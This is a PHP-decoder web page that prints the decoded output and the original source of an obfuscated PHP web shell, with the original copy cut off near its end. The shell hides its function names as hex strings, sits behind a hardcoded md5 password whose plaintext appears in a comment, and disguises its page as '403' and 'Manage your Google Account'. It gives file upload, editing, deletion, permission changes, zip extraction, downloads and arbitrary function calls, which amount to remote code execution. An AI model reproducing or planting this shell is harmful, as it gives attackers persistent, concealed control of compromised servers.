Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(-1);ini_s..

Decoded Output download

<?php header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(-1);ini_set('display_errors', true);session_start(); 
$Array = [ 
	'7068705f756e616d65', 
	'70687076657273696f6e', 
	'6368646972', 
	'676574637764', 
	'707265675f73706c6974', 
	'636f7079', 
	'66696c655f6765745f636f6e74656e7473', 
	'6261736536345f6465636f6465', 
	'69735f646972', 
	'6f625f656e645f636c65616e28293b', 
	'756e6c696e6b', 
	'6d6b646972', 
	'63686d6f64', 
	'7363616e646972', 
	'7374725f7265706c616365', 
	'68746d6c7370656369616c6368617273', 
	'7661725f64756d70', 
	'666f70656e', 
	'667772697465', 
	'66636c6f7365', 
	'64617465', 
	'66696c656d74696d65', 
	'737562737472', 
	'737072696e7466', 
	'66696c657065726d73', 
	'746f756368', 
	'66696c655f657869737473', 
	'72656e616d65', 
	'69735f6172726179', 
	'69735f6f626a656374', 
	'737472706f73', 
	'69735f7772697461626c65', 
	'69735f7265616461626c65', 
	'737472746f74696d65', 
	'66696c6573697a65', 
	'726d646972', 
	'6f625f6765745f636c65616e', 
	'7265616466696c65', 
	'617373657274', 
	'656d707479', 
	'6973736574', 
	'6d6435' 
]; 
$___ = count($Array); 
for($i=0;$i<$___;$i++) { 
	$GNJ[] = uhex($Array[$i]); 
} 
$password = "d3e9d6ee443cc1b1aa44ba7d3df1fd50"; # md5: ckt3th 
function print_log() { 
    // from indoxploit shell 
    ?> 
  <html> 
  <head> 
    <title>ILOVEU</title> 
  <body> 
    <center> 
      <form method="POST"> 
        <input type="password" name="password"> 
      </form> 
    </center> 
  </body> 
  </head> 
  </html> 
    <?php 
    exit(); 
} 
 
 
if(!isset($_SESSION[$GNJ[41]($_SERVER['HTTP_HOST'])])) 
	if(empty($password) || (isset($_POST['password']) && ($GNJ[41]($_POST['password']) == $password))) 
		$_SESSION[$GNJ[41]($_SERVER['HTTP_HOST'])] = true; 
	else 
		print_log(); 
?> 
<!DOCTYPE html> 
	<html dir="auto" lang="en-US"> 
 
		<head> 
			<meta charset="UTF-8"> 
			<meta name="robots" content="NOINDEX, NOFOLLOW"> 
 
				<title>403</title> 
 
			<link rel="icon" href="https://ssl.gstatic.com/ui/v1/icons/mail/images/favicon5.ico" /> 
			<link rel="stylesheet" href="//0x5a455553.github.io/MARIJUANA/main.css" type="text/css"> 
 
			<script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> 
			<script src="//cdnjs.cloudflare.com/ajax/libs/notify/0.4.2/notify.min.js"></script> 
		</head> 
 
		<body> 
			<header> 
				<div class="y x"> 
					<a class="ajx" href="<?php echo basename($_SERVER['PHP_SELF']);?>"> 
						nyan 
					</a> 
				</div> 
 
				<div class="q x w"> 
					&#8212; Manage your Google Account &#8212; 
				</div> 
 
			</header> 
 
			<article> 
				<div class="i"> 
					<i class="far fa-hdd"></i> 
					<?php echo $GNJ[0]();?> 
 
					<br /> 
 
					<i class="far fa-lightbulb"></i> &thinsp;&thinsp;<b>SOFT  :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?> <b>PHP :</b> <?php echo $GNJ[1]();?> 
 
					<br /> 
 
					<i class="far fa-folder"></i> 
 
					<?php 
					if(isset($_GET["d"])) { 
						$d = uhex($_GET["d"]); 
						$GNJ[2](uhex($_GET["d"])); 
					} 
					else { 
						$d = $GNJ[3](); 
					} 
					$k = $GNJ[4]("/(\\|\/)/", $d ); 
					foreach ($k as $m => $l) { 
						if($l=='' && $m==0) { 
							echo '<a class="ajx" href="?d=2f">/</a>'; 
						} 
						if($l == '') { 
							continue; 
						} 
						echo '<a class="ajx" href="?d='; 
						for ($i = 0; $i <= $m; $i++) { 
							echo hex($k[$i]); 
							if($i != $m) { 
								echo '2f'; 
							} 
						} 
						echo '">'.$l.'</a>/'; 
					} 
					?> 
 
					<br /> 
 
				</div> 
 
				<div class="u"> 
					<?php echo $_SERVER['SERVER_ADDR'];?> <i class="fas fa-link"></i> 
					<br /> 
 
					<br /> 
 
					<form method="post" enctype="multipart/form-data"> 
						<label class="l w"> 
							<input type="file" name="n[]" onchange="this.form.submit()" multiple> &nbsp;UPLOAD 
						</label>&nbsp; 
					</form> 
 
					<?php 
					$o_ = [ 
							'<script>$.notify("', 
							'", { className:"1",autoHideDelay: 2000,position:"left bottom" });</script>' 
						]; 
					$f = $o_[0].'OK!'.$o_[1]; 
					$g = $o_[0].'ER!'.$o_[1]; 
					if(isset($_FILES["n"])) { 
						$z = $_FILES["n"]["name"]; 
						$r = count($z); 
						for( $i=0 ; $i < $r ; $i++ ) { 
							if($GNJ[5]($_FILES["n"]["tmp_name"][$i], $z[$i])) { 
								echo $f; 
							} 
							else { 
								echo $g; 
							} 
						} 
					} 
					?> 
 
				</div> 
					<?php 
					$a_ = '<table cellspacing="0" cellpadding="7" width="100%"> 
						<thead> 
							<tr> 
								<th>'; 
					$b_ = '</th> 
							</tr> 
						</thead> 
						<tbody> 
							<tr> 
								<td></td> 
							</tr> 
							<tr> 
								<td class="x">'; 
					$c_ = '</td> 
							</tr> 
						</tbody> 
					</table>'; 
					$d_ = '<br /> 
										<br /> 
										<input type="submit" class="w" value="&nbsp;OK&nbsp;" /> 
									</form>'; 
					if(isset($_GET["s"])) { 
						echo $a_.uhex($_GET["s"]).$b_.' 
									<textarea readonly="yes">'.$GNJ[15]($GNJ[6](uhex($_GET["s"]))).'</textarea> 
									<br /> 
									<br /> 
									<input onclick="location.href=\'?d='.$_GET["d"].'&e='.$_GET["s"].'\'" type="submit" class="w" value="&nbsp;EDIT&nbsp;" /> 
								'.$c_; 
					} 
					elseif(isset($_GET["y"])) { 
						echo $a_.'REQUEST'.$b_.' 
									<form method="post"> 
										<input class="x" type="text" name="1" />&nbsp;&nbsp; 
										<input class="x" type="text" name="2" /> 
										'.$d_.' 
									<br /> 
									<textarea readonly="yes">'; 
 
									if(isset($_POST["2"])) { 
										echo $GNJ[15](dre($_POST["1"], $_POST["2"])); 
									} 
 
								echo '</textarea> 
								'.$c_; 
					} 
					elseif(isset($_GET["e"])) { 
						echo $a_.uhex($_GET["e"]).$b_.' 
									<form method="post"> 
										<textarea name="e" class="o">'.$GNJ[15]($GNJ[6](uhex($_GET["e"]))).'</textarea> 
										<br /> 
										<br /> 
										<span class="w">BASE64</span> : 
										<select id="b64" name="b64"> 
											<option value="0">NO</option> 
											<option value="1">YES</option> 
										</select> 
										'.$d_.' 
								'.$c_.' 
 
					<script> 
						$("#b64").change(function() { 
							if($("#b64 option:selected").val() == 0) { 
								var X = $("textarea").val(); 
								var Z = atob(X); 
								$("textarea").val(Z); 
							} 
							else { 
								var N = $("textarea").val(); 
								var I = btoa(N); 
								$("textarea").val(I); 
							} 
						}); 
					</script>'; 
					if(isset($_POST["e"])) { 
						if($_POST["b64"] == "1") { 
							$ex = $GNJ[7]($_POST["e"]); 
						} 
						else { 
							$ex = $_POST["e"]; 
						} 
						$fp = $GNJ[17](uhex($_GET["e"]), 'w'); 
						if($GNJ[18]($fp, $ex)) { 
							OK(); 
						} 
						else { 
							ER(); 
						} 
						$GNJ[19]($fp); 
					  } 
					} 
					elseif(isset($_GET["x"])) { 
						rec(uhex($_GET["x"])); 
						if($GNJ[26](uhex($_GET["x"]))) { 
							ER(); 
						} 
						else { 
							OK(); 
						} 
 
					} 
					elseif(isset($_GET["t"])) { 
						echo $a_.uhex($_GET["t"]).$b_.' 
									<form action="" method="post"> 
										<input name="t" class="x" type="text" value="'.$GNJ[20]("Y-m-d H:i", $GNJ[21](uhex($_GET["t"]))).'"> 
										'.$d_.' 
								'.$c_; 
					if( !empty($_POST["t"]) ) { 
						$p = $GNJ[33]($_POST["t"]); 
						if($p) { 
							if(!$GNJ[25](uhex($_GET["t"]),$p,$p)) { 
								ER(); 
							} 
							else { 
								OK(); 
							} 
						} 
						else { 
							ER(); 
						} 
					  } 
					} 
					elseif(isset($_GET["k"])) { 
						echo $a_.uhex($_GET["k"]).$b_.' 
									<form action="" method="post"> 
										<input name="b" class="x" type="text" value="'.$GNJ[22]($GNJ[23]('%o', $GNJ[24](uhex($_GET["k"]))), -4).'"> 
										'.$d_.' 
								'.$c_; 
					if(!empty($_POST["b"])) { 
						$x = $_POST["b"]; 
						$t = 0; 
					for($i=strlen($x)-1;$i>=0;--$i) 
						$t += (int)$x[$i]*pow(8, (strlen($x)-$i-1)); 
					if(!$GNJ[12](uhex($_GET["k"]), $t)) { 
						ER(); 
					} 
					else { 
						OK(); 
						  } 
						} 
					} 
					elseif(isset($_GET["l"])) { 
						echo $a_.'+DIR'.$b_.' 
									<form action="" method="post"> 
										<input name="l" class="x" type="text" value=""> 
										'.$d_.' 
								'.$c_; 
					if(isset($_POST["l"])) { 
						if(!$GNJ[11]($_POST["l"])) { 
							ER(); 
						} 
						else { 
							OK(); 
						} 
					  } 
					} 
					elseif(isset($_GET["q"])) { 
						if($GNJ[10](__FILE__)) { 
							$GNJ[38]($GNJ[9]); 
							header("Location: ".basename($_SERVER['PHP_SELF']).""); 
							exit(); 
						} 
						else { 
							echo $g; 
						} 
					} 
					elseif(isset($_GET["n"])) { 
						echo $a_.'+FILE'.$b_.' 
									<form action="" method="post"> 
										<input name="n" class="x" type="text" value=""> 
										'.$d_.' 
								'.$c_; 
					if(isset($_POST["n"])) { 
						if(!$GNJ[25]($_POST["n"])) { 
							ER(); 
						} 
						else { 
							OK(); 
						} 
					  } 
					} 
					elseif(isset($_GET["r"])) { 
						echo $a_.uhex($_GET["r"]).$b_.' 
									<form action="" method="post"> 
										<input name="r" class="x" type="text" value="'.uhex($_GET["r"]).'"> 
										'.$d_.' 
								'.$c_; 
					if(isset($_POST["r"])) { 
						if($GNJ[26]($_POST["r"])) { 
							ER(); 
						} 
						else { 
							if($GNJ[27](uhex($_GET["r"]), $_POST["r"])) { 
								OK(); 
							} 
							else { 
								ER(); 
							} 
						  } 
					   } 
					} 
					elseif(isset($_GET["z"])) { 
						$zip = new ZipArchive; 
						$res = $zip->open(uhex($_GET["z"])); 
							if($res === TRUE) { 
								$zip->extractTo(uhex($_GET["d"])); 
								$zip->close(); 
								OK(); 
							} else { 
								ER(); 
						  } 
					} 
					else { 
					echo '<table cellspacing="0" cellpadding="7" width="100%"> 
						<thead> 
							<tr> 
								<th width="44%">[ NAME ]</th> 
								<th width="11%">[ SIZE ]</th> 
								<th width="17%">[ PERM ]</th> 
								<th width="17%">[ DATE ]</th> 
								<th width="11%">[ ACT ]</th> 
							</tr> 
						</thead> 
						<tbody> 
							<tr> 
								<td> 
									<a class="ajx" href="?d='.hex($d).'&n">+FILE</a> 
									<a class="ajx" href="?d='.hex($d).'&l">+DIR</a> 
								</td> 
							</tr> 
						'; 
 
							$h = ""; 
							$j = ""; 
							$w = $GNJ[13]($d); 
							if($GNJ[28]($w) || $GNJ[29]($w)) { 
							foreach($w as $c){ 
								$e = $GNJ[14]("\", "/", $d); 
								if(!$GNJ[30]($c, ".zip")) { 
									$zi = ''; 
								} 
								else { 
									$zi = '<a href="?d='.hex($e).'&z='.hex($c).'">U</a>'; 
								} 
								if($GNJ[31]("$d/$c")) { 
										$o = ""; 
								} 
								elseif(!$GNJ[32]("$d/$c")) { 
										$o = " h"; 
								} 
								else { 
										$o = " w"; 
								} 
								$s = $GNJ[34]("$d/$c") / 1024; 
								$s = round($s, 3); 
								if($s>=1024) { 
									$s = round($s/1024, 2) . " MB"; 
								} else { 
									$s = $s . " KB"; 
								} 
							if(($c != ".") && ($c != "..")){ 
								($GNJ[8]("$d/$c")) ? 
								$h .= '<tr class="r"> 
							<td> 
								<i class="far fa-folder m"></i> 
								<a class="ajx" href="?d='.hex($e).hex("/".$c).'">'.$c.'</a> 
							</td> 
							<td class="x"> 
								dir 
							</td> 
							<td class="x"> 
								<a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a> 
							</td> 
							<td class="x"> 
								<a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a> 
							</td> 
							<td class="x"> 
								<a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a> 
								<a href="?d='.hex($e).'&x='.hex($c).'">D</a> 
							</td> 
						</tr> 
 
						' 
							: 
								$j .= '<tr class="r"> 
							<td> 
								<i class="far fa-file m"></i>&thinsp; 
								<a class="ajx" href="?d='.hex($e).'&s='.hex($c).'">'.$c.'</a> 
							</td> 
							<td class="x"> 
								'.$s.' 
							</td> 
							<td class="x"> 
								<a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a> 
							</td> 
							<td class="x"> 
								<a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a> 
							</td> 
							<td class="x"> 
								<a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a> 
								<a class="ajx" href="?d='.hex($e).'&e='.hex($c).'">E</a> 
								<a href="?d='.hex($e).'&g='.hex($c).'">G</a> 
								'.$zi.' 
								<a href="?d='.hex($e).'&x='.hex($c).'">D</a> 
							</td> 
						</tr> 
 
						'; 
 
							} 
						} 
					} 
 
						echo $h; 
						echo $j; 
						echo '</tbody> 
						<tfoot> 
							<tr> 
								<th class="et"> 
									<a class="ajx" href="?d='.hex($e).'&y">REQUEST</a> 
									<a href="?d='.hex($e).'&q">EXIT</a> 
								</th> 
								<th class="et" width="11%"></th> 
								<th class="et" width="17%"></th> 
								<th class="et" width="17%"></th> 
								<th class="et" width="11%"></th> 
							</tr> 
					</tfoot> 
				</table>'; 
					} 
					?> 
 
			</article> 
			<footer class="x"> 
				&copy;Manage your Google Account 
			</footer> 
			<?php 
			if(isset($_GET["1"])) { 
				echo $f; 
			} 
			elseif(isset($_GET["0"])) { 
				echo $g; 
			} 
			else { 
				NULL; 
			} 
			?> 
 
			<script> 
				$(".ajx").click(function(t){t.preventDefault();var e=$(this).attr("href");history.pushState("","",e),$.get(e,function(t){$("body").html(t)})}); 
			</script> 
		</body> 
	</html> 
<?php 
	function rec($j) { 
		global $GNJ; 
		if(trim(pathinfo($j, PATHINFO_BASENAME ), '.') === '') { 
			return; 
		} 
		if($GNJ[8]($j)) { 
			array_map('rec', glob($j . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT)); 
			$GNJ[35]($j); 
		} 
		else { 
			$GNJ[10]($j); 
		} 
	} 
	function dre($y1, $y2) { 
		global $GNJ; 
		ob_start(); 
		$GNJ[16]($y1($y2)); 
		return $GNJ[36](); 
	} 
	function hex($n) { 
		$y=''; 
		for ($i=0; $i < strlen($n); $i++){ 
			$y .= dechex(ord($n[$i])); 
		} 
		return $y; 
	} 
	function uhex($y) { 
		$n=''; 
		for ($i=0; $i < strlen($y)-1; $i+=2){ 
			$n .= chr(hexdec($y[$i].$y[$i+1])); 
		} 
		return $n; 
	} 
	function OK() { 
		global $GNJ, $d; 
		$GNJ[38]($GNJ[9]); 
		header("Location: ?d=".hex($d)."&1"); 
		exit(); 
	} 
	function ER() { 
		global $GNJ, $d; 
		$GNJ[38]($GNJ[9]); 
		header("Location: ?d=".hex($d)."&0"); 
		exit(); 
	} 
	function x($c) { 
		global $GNJ; 
		$x = $GNJ[24]($c); 
		if(($x & 0xC000) == 0xC000) { 
			$u = "s"; 
		} 
		elseif(($x & 0xA000) == 0xA000) { 
			$u = "l"; 
		} 
		elseif(($x & 0x8000) == 0x8000) { 
			$u = "-"; 
		} 
		elseif(($x & 0x6000) == 0x6000) { 
			$u = "b"; 
		} 
		elseif(($x & 0x4000) == 0x4000) { 
			$u = "d"; 
		} 
		elseif(($x & 0x2000) == 0x2000) { 
			$u = "c"; 
		} 
		elseif(($x & 0x1000) == 0x1000) { 
			$u = "p"; 
		} 
		else { 
			$u = "u"; 
		} 
		$u .= (($x & 0x0100) ? "r" : "-"); 
		$u .= (($x & 0x0080) ? "w" : "-"); 
		$u .= (($x & 0x0040) ? (($x & 0x0800) ? "s" : "x") : (($x & 0x0800) ? "S" : "-")); 
		$u .= (($x & 0x0020) ? "r" : "-"); 
		$u .= (($x & 0x0010) ? "w" : "-"); 
		$u .= (($x & 0x0008) ? (($x & 0x0400) ? "s" : "x") : (($x & 0x0400) ? "S" : "-")); 
		$u .= (($x & 0x0004) ? "r" : "-"); 
		$u .= (($x & 0x0002) ? "w" : "-"); 
		$u .= (($x & 0x0001) ? (($x & 0x0200) ? "t" : "x") : (($x & 0x0200) ? "T" : "-")); 
		return $u; 
	} 
	if(isset($_GET["g"])) { 
		$GNJ[38]($GNJ[9]); 
		header("Content-Type: application/octet-stream"); 
		header("Content-Transfer-Encoding: Binary"); 
		header("Content-Length: ".$GNJ[34](uhex($_GET["g"]))); 
		header("Content-disposition: attachment; filename=\"".uhex($_GET["g"])."\""); 
		$GNJ[37](uhex($_GET["g"])); 
	} 
?>

Did this file decode correctly?

Original Code

<?php header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(-1);ini_set('display_errors', true);session_start();
$Array = [
	'7068705f756e616d65',
	'70687076657273696f6e',
	'6368646972',
	'676574637764',
	'707265675f73706c6974',
	'636f7079',
	'66696c655f6765745f636f6e74656e7473',
	'6261736536345f6465636f6465',
	'69735f646972',
	'6f625f656e645f636c65616e28293b',
	'756e6c696e6b',
	'6d6b646972',
	'63686d6f64',
	'7363616e646972',
	'7374725f7265706c616365',
	'68746d6c7370656369616c6368617273',
	'7661725f64756d70',
	'666f70656e',
	'667772697465',
	'66636c6f7365',
	'64617465',
	'66696c656d74696d65',
	'737562737472',
	'737072696e7466',
	'66696c657065726d73',
	'746f756368',
	'66696c655f657869737473',
	'72656e616d65',
	'69735f6172726179',
	'69735f6f626a656374',
	'737472706f73',
	'69735f7772697461626c65',
	'69735f7265616461626c65',
	'737472746f74696d65',
	'66696c6573697a65',
	'726d646972',
	'6f625f6765745f636c65616e',
	'7265616466696c65',
	'617373657274',
	'656d707479',
	'6973736574',
	'6d6435'
];
$___ = count($Array);
for($i=0;$i<$___;$i++) {
	$GNJ[] = uhex($Array[$i]);
}
$password = "d3e9d6ee443cc1b1aa44ba7d3df1fd50"; # md5: ckt3th
function print_log() {
    // from indoxploit shell
    ?>
  <html>
  <head>
    <title>ILOVEU</title>
  <body>
    <center>
      <form method="POST">
        <input type="password" name="password">
      </form>
    </center>
  </body>
  </head>
  </html>
    <?php
    exit();
}


if(!isset($_SESSION[$GNJ[41]($_SERVER['HTTP_HOST'])]))
	if(empty($password) || (isset($_POST['password']) && ($GNJ[41]($_POST['password']) == $password)))
		$_SESSION[$GNJ[41]($_SERVER['HTTP_HOST'])] = true;
	else
		print_log();
?>
<!DOCTYPE html>
	<html dir="auto" lang="en-US">

		<head>
			<meta charset="UTF-8">
			<meta name="robots" content="NOINDEX, NOFOLLOW">

				<title>403</title>

			<link rel="icon" href="https://ssl.gstatic.com/ui/v1/icons/mail/images/favicon5.ico" />
			<link rel="stylesheet" href="//0x5a455553.github.io/MARIJUANA/main.css" type="text/css">

			<script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
			<script src="//cdnjs.cloudflare.com/ajax/libs/notify/0.4.2/notify.min.js"></script>
		</head>

		<body>
			<header>
				<div class="y x">
					<a class="ajx" href="<?php echo basename($_SERVER['PHP_SELF']);?>">
						nyan
					</a>
				</div>

				<div class="q x w">
					&#8212; Manage your Google Account &#8212;
				</div>

			</header>

			<article>
				<div class="i">
					<i class="far fa-hdd"></i>
					<?php echo $GNJ[0]();?>

					<br />

					<i class="far fa-lightbulb"></i> &thinsp;&thinsp;<b>SOFT  :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?> <b>PHP :</b> <?php echo $GNJ[1]();?>

					<br />

					<i class="far fa-folder"></i>

					<?php
					if(isset($_GET["d"])) {
						$d = uhex($_GET["d"]);
						$GNJ[2](uhex($_GET["d"]));
					}
					else {
						$d = $GNJ[3]();
					}
					$k = $GNJ[4]("/(\\\|\/)/", $d );
					foreach ($k as $m => $l) {
						if($l=='' && $m==0) {
							echo '<a class="ajx" href="?d=2f">/</a>';
						}
						if($l == '') {
							continue;
						}
						echo '<a class="ajx" href="?d=';
						for ($i = 0; $i <= $m; $i++) {
							echo hex($k[$i]);
							if($i != $m) {
								echo '2f';
							}
						}
						echo '">'.$l.'</a>/';
					}
					?>

					<br />

				</div>

				<div class="u">
					<?php echo $_SERVER['SERVER_ADDR'];?> <i class="fas fa-link"></i>
					<br />

					<br />

					<form method="post" enctype="multipart/form-data">
						<label class="l w">
							<input type="file" name="n[]" onchange="this.form.submit()" multiple> &nbsp;UPLOAD
						</label>&nbsp;
					</form>

					<?php
					$o_ = [
							'<script>$.notify("',
							'", { className:"1",autoHideDelay: 2000,position:"left bottom" });</script>'
						];
					$f = $o_[0].'OK!'.$o_[1];
					$g = $o_[0].'ER!'.$o_[1];
					if(isset($_FILES["n"])) {
						$z = $_FILES["n"]["name"];
						$r = count($z);
						for( $i=0 ; $i < $r ; $i++ ) {
							if($GNJ[5]($_FILES["n"]["tmp_name"][$i], $z[$i])) {
								echo $f;
							}
							else {
								echo $g;
							}
						}
					}
					?>

				</div>
					<?php
					$a_ = '<table cellspacing="0" cellpadding="7" width="100%">
						<thead>
							<tr>
								<th>';
					$b_ = '</th>
							</tr>
						</thead>
						<tbody>
							<tr>
								<td></td>
							</tr>
							<tr>
								<td class="x">';
					$c_ = '</td>
							</tr>
						</tbody>
					</table>';
					$d_ = '<br />
										<br />
										<input type="submit" class="w" value="&nbsp;OK&nbsp;" />
									</form>';
					if(isset($_GET["s"])) {
						echo $a_.uhex($_GET["s"]).$b_.'
									<textarea readonly="yes">'.$GNJ[15]($GNJ[6](uhex($_GET["s"]))).'</textarea>
									<br />
									<br />
									<input onclick="location.href=\'?d='.$_GET["d"].'&e='.$_GET["s"].'\'" type="submit" class="w" value="&nbsp;EDIT&nbsp;" />
								'.$c_;
					}
					elseif(isset($_GET["y"])) {
						echo $a_.'REQUEST'.$b_.'
									<form method="post">
										<input class="x" type="text" name="1" />&nbsp;&nbsp;
										<input class="x" type="text" name="2" />
										'.$d_.'
									<br />
									<textarea readonly="yes">';

									if(isset($_POST["2"])) {
										echo $GNJ[15](dre($_POST["1"], $_POST["2"]));
									}

								echo '</textarea>
								'.$c_;
					}
					elseif(isset($_GET["e"])) {
						echo $a_.uhex($_GET["e"]).$b_.'
									<form method="post">
										<textarea name="e" class="o">'.$GNJ[15]($GNJ[6](uhex($_GET["e"]))).'</textarea>
										<br />
										<br />
										<span class="w">BASE64</span> :
										<select id="b64" name="b64">
											<option value="0">NO</option>
											<option value="1">YES</option>
										</select>
										'.$d_.'
								'.$c_.'

					<script>
						$("#b64").change(function() {
							if($("#b64 option:selected").val() == 0) {
								var X = $("textarea").val();
								var Z = atob(X);
								$("textarea").val(Z);
							}
							else {
								var N = $("textarea").val();
								var I = btoa(N);
								$("textarea").val(I);
							}
						});
					</script>';
					if(isset($_POST["e"])) {
						if($_POST["b64"] == "1") {
							$ex = $GNJ[7]($_POST["e"]);
						}
						else {
							$ex = $_POST["e"];
						}
						$fp = $GNJ[17](uhex($_GET["e"]), 'w');
						if($GNJ[18]($fp, $ex)) {
							OK();
						}
						else {
							ER();
						}
						$GNJ[19]($fp);
					  }
					}
					elseif(isset($_GET["x"])) {
						rec(uhex($_GET["x"]));
						if($GNJ[26](uhex($_GET["x"]))) {
							ER();
						}
						else {
							OK();
						}

					}
					elseif(isset($_GET["t"])) {
						echo $a_.uhex($_GET["t"]).$b_.'
									<form action="" method="post">
										<input name="t" class="x" type="text" value="'.$GNJ[20]("Y-m-d H:i", $GNJ[21](uhex($_GET["t"]))).'">
										'.$d_.'
								'.$c_;
					if( !empty($_POST["t"]) ) {
						$p = $GNJ[33]($_POST["t"]);
						if($p) {
							if(!$GNJ[25](uhex($_GET["t"]),$p,$p)) {
								ER();
							}
							else {
								OK();
							}
						}
						else {
							ER();
						}
					  }
					}
					elseif(isset($_GET["k"])) {
						echo $a_.uhex($_GET["k"]).$b_.'
									<form action="" method="post">
										<input name="b" class="x" type="text" value="'.$GNJ[22]($GNJ[23]('%o', $GNJ[24](uhex($_GET["k"]))), -4).'">
										'.$d_.'
								'.$c_;
					if(!empty($_POST["b"])) {
						$x = $_POST["b"];
						$t = 0;
					for($i=strlen($x)-1;$i>=0;--$i)
						$t += (int)$x[$i]*pow(8, (strlen($x)-$i-1));
					if(!$GNJ[12](uhex($_GET["k"]), $t)) {
						ER();
					}
					else {
						OK();
						  }
						}
					}
					elseif(isset($_GET["l"])) {
						echo $a_.'+DIR'.$b_.'
									<form action="" method="post">
										<input name="l" class="x" type="text" value="">
										'.$d_.'
								'.$c_;
					if(isset($_POST["l"])) {
						if(!$GNJ[11]($_POST["l"])) {
							ER();
						}
						else {
							OK();
						}
					  }
					}
					elseif(isset($_GET["q"])) {
						if($GNJ[10](__FILE__)) {
							$GNJ[38]($GNJ[9]);
							header("Location: ".basename($_SERVER['PHP_SELF'])."");
							exit();
						}
						else {
							echo $g;
						}
					}
					elseif(isset($_GET["n"])) {
						echo $a_.'+FILE'.$b_.'
									<form action="" method="post">
										<input name="n" class="x" type="text" value="">
										'.$d_.'
								'.$c_;
					if(isset($_POST["n"])) {
						if(!$GNJ[25]($_POST["n"])) {
							ER();
						}
						else {
							OK();
						}
					  }
					}
					elseif(isset($_GET["r"])) {
						echo $a_.uhex($_GET["r"]).$b_.'
									<form action="" method="post">
										<input name="r" class="x" type="text" value="'.uhex($_GET["r"]).'">
										'.$d_.'
								'.$c_;
					if(isset($_POST["r"])) {
						if($GNJ[26]($_POST["r"])) {
							ER();
						}
						else {
							if($GNJ[27](uhex($_GET["r"]), $_POST["r"])) {
								OK();
							}
							else {
								ER();
							}
						  }
					   }
					}
					elseif(isset($_GET["z"])) {
						$zip = new ZipArchive;
						$res = $zip->open(uhex($_GET["z"]));
							if($res === TRUE) {
								$zip->extractTo(uhex($_GET["d"]));
								$zip->close();
								OK();
							} else {
								ER();
						  }
					}
					else {
					echo '<table cellspacing="0" cellpadding="7" width="100%">
						<thead>
							<tr>
								<th width="44%">[ NAME ]</th>
								<th width="11%">[ SIZE ]</th>
								<th width="17%">[ PERM ]</th>
								<th width="17%">[ DATE ]</th>
								<th width="11%">[ ACT ]</th>
							</tr>
						</thead>
						<tbody>
							<tr>
								<td>
									<a class="ajx" href="?d='.hex($d).'&n">+FILE</a>
									<a class="ajx" href="?d='.hex($d).'&l">+DIR</a>
								</td>
							</tr>
						';

							$h = "";
							$j = "";
							$w = $GNJ[13]($d);
							if($GNJ[28]($w) || $GNJ[29]($w)) {
							foreach($w as $c){
								$e = $GNJ[14]("\\", "/", $d);
								if(!$GNJ[30]($c, ".zip")) {
									$zi = '';
								}
								else {
									$zi = '<a href="?d='.hex($e).'&z='.hex($c).'">U</a>';
								}
								if($GNJ[31]("$d/$c")) {
										$o = "";
								}
								elseif(!$GNJ[32]("$d/$c")) {
										$o = " h";
								}
								else {
										$o = " w";
								}
								$s = $GNJ[34]("$d/$c") / 1024;
								$s = round($s, 3);
								if($s>=1024) {
									$s = round($s/1024, 2) . " MB";
								} else {
									$s = $s . " KB";
								}
							if(($c != ".") && ($c != "..")){
								($GNJ[8]("$d/$c")) ?
								$h .= '<tr class="r">
							<td>
								<i class="far fa-folder m"></i>
								<a class="ajx" href="?d='.hex($e).hex("/".$c).'">'.$c.'</a>
							</td>
							<td class="x">
								dir
							</td>
							<td class="x">
								<a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
								<a href="?d='.hex($e).'&x='.hex($c).'">D</a>
							</td>
						</tr>

						'
							:
								$j .= '<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d='.hex($e).'&s='.hex($c).'">'.$c.'</a>
							</td>
							<td class="x">
								'.$s.'
							</td>
							<td class="x">
								<a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
								<a class="ajx" href="?d='.hex($e).'&e='.hex($c).'">E</a>
								<a href="?d='.hex($e).'&g='.hex($c).'">G</a>
								'.$zi.'
								<a href="?d='.hex($e).'&x='.hex($c).'">D</a>
							</td>
						</tr>

						';

							}
						}
					}

						echo $h;
						echo $j;
						echo '</tbody>
						<tfoot>
							<tr>
								<th class="et">
									<a class="ajx" href="?d='.hex($e).'&y">REQUEST</a>
									<a href="?d='.hex($e).'&q">EXIT</a>
								</th>
								<th class="et" width="11%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="11%"></th>
							</tr>
					</tfoot>
				</table>';
					}
					?>

			</article>
			<footer class="x">
				&copy;Manage your Google Account
			</footer>
			<?php
			if(isset($_GET["1"])) {
				echo $f;
			}
			elseif(isset($_GET["0"])) {
				echo $g;
			}
			else {
				NULL;
			}
			?>

			<script>
